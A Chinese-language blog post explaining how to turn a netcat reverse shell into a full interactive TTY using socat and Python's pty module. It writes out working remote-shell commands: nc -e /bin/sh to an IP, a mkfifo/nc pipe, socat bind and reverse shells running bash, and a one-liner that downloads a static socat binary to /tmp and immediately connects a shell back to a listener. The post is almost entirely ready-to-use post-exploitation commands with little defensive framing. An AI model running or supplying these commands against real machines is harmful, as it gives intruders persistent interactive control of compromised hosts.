nc反向shell tty升级
一、nc反向shell的问题
在《Linux一句话反向shell原理》一文中有提到,通过一句话shell获取一个反向连接的shell。由于nc在一些操作系统版本上没有-e参数,所以里面使用的bash -i 重定向的方法。但是在使用nc产生的反向shell时,会出现vim、top等无法使用、tab补全时显时异常、按ctr+c会自动退出等问题。具体如下图(使用vim时报了Vim: warning: Input is not from a terminal的错误):
上图使用的测试命令如下:
1nc -lvp 3000 (控制机)
2nc -e /bin/sh 10.212.52.100 3000 (被控机)
同样,在nc没有-e参数的情况下,可以使用我上文提到的bash -i,或者其变种方法,如:
1rm -f x; mkfifo x; /bin/sh 2>&1 < x | nc 10.212.52.100 3000 > x
使用socat(升级版nc)时,如果参数未加全的情况下,也会出现上面的问题。例如,下面一个正向shell :
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash (被控端)
socat – TCP:10.212.52.252:1337 (控制端)
二、使用socat解决
1、socat正向shell
1socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane (被控端)
2socat FILE:`tty`,raw,echo=0 TCP:10.212.52.252:1337 (控制端)
注:建议不用正向shell,因为任何主机都能连上被控机,如果是反向shell,则是控制端起监听,被控主机主动给一个shell让控制端控制。
2、socat反向shell
1socat file:`tty`,raw,echo=0 tcp-listen:4444 (控制机)
2socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 (被控制机)
不过使用socat有两个缺点,这里也一一解决。
3、socat的缺点
使用socat后,vim、top这类命令完全OK。tab也可以正常的显示和补全了,ctrl + c再怎么执行也不会退出了。是不是很欢脱,不过其也存在两个缺点:
缺点1:
不是所有的类型的主机源里都有socat,不过这个可以通过网络上下载使用(主机无法上网时又要内网源,麻烦),其项目下载页:https://github.com/andrew-d/static-binaries ,一句话下载使用:
1wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
缺点2:
socat生成的shell默认大小是80×24大小的,使用ps等命令时可能会出现显示不全的问题。这时候就需要重设tty size,操作如下:
1$ stty -a
2speed 38400 baud; rows 40; columns 130; line = 0
3$ stty rows 40 cols 130
三、nc python pty升级
先来个一步步的操作方法,前面一切不变,先控制端nc监听一个端口,被控端bash -i给一个反向shell,连接成功后,使用Python pty模块生成一个带原生终端的shell。命令如下:
1python -c 'import pty; pty.spawn("/bin/bash")' //按ctrl + z放后台暂存,此时会返回原控制端主机shell
2stty raw -echo //控制端主机执行
3fg //调之前的nc和python pty到前台,重新回到了被控制的主机上
4reset
5export SHELL=bash
6export TERM=xterm256-color
7stty rows 38 columns 116
当然这个步骤也可以精简一下,控制端在连接时就执行如下命令:
1stty -echo raw; nc -lp 3000; stty sane
2连接成功后,直接输入python -c 'import pty; pty.spawn("/bin/bash")'
此时如果使用ps觉得终端不够大时,可以再使用 stty rows 38 columns 116调整终端大小。
捐赠本站(Donate)
如您感觉文章有用,可扫码捐赠本站!(If the article useful, you can scan the QR code to donate))
- Author: shisekong
- Link: https://blog.361way.com/nc-pty/5973.html
- License: This work is under a 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议. Kindly fulfill the requirements of the aforementioned License when adapting or creating a derivative of this work.